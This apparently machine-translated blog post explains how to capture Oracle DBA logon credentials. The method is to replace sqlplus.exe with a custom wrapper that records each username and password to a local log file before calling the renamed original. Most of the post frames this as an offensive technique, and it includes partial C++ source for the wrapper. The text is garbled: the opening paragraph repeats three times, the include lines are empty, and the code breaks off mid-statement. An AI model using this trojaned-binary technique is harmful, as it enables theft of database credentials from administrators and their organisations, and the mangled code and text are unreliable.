Steal dragon and Phoenix SQLPlus to get database logon information

When a DBA logs on to a local or remote database, it is no longer common to log on to the database using the sqlplus username and password @ Connection Service name, if we replace Oracle SQLPlus with our own implementation, and record its login information when using it, we will get the database username, password, and other information. This is a simple

When a DBA logs on to a local or remote database, it is no longer common to log on to the database using the sqlplus username/password @ Connection Service name, if we replace Oracle SQLPlus with our own implementation, and record its login information when using it, we will get the database username, password, and other information. This is a simple

When a DBA logs on to a local or remote database"Sqlplus username/password @ Connection Service name"Login to the database is not common, but if we replace Oracle SQLPlus with our own implementation, and then when used, record its login information, the user name and password of the database are obtained.

This is a very simple method, which has its own limitations. However, sometimes, if the database itself is highly protected, you can start from the DBA client and use this method to achieve unexpected gains.

:

This method is the same as that of Oracle.

Logged logon information:

The Code is as follows:

/*** Author: xiongchuanliang * desc: replace the original Oracle version with custom sqlplus, and record the user's logon information in the custom program. 1. find sqlplus.exe from oracle2. name it another file. 2. replace the original version with a custom one */# include
 
  
# Include
  
   
# Include
   
    
# Include
    
     
# Include
     
      
Using namespace std; HRESULT CMDEx (const char * pCmd); // numeric "; const string sqlplus_path =" C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe "; const string oper_log = "C:/mysqlplus. log "; int main (int argc, char * argv []) {string sqlplus_cmd = sqlplus_path; ofstream flog (oper_log, ios: app); SYSTEMTIME sys; if (flog) {GetLocalTime (& sys); flog <
      
        The best way to defend against this is to enter a connection string without entering a plaintext password..
       


       
MAIL: xcl_168@aliyun.com
       
BLOG: http://blog.csdn.net/xcl168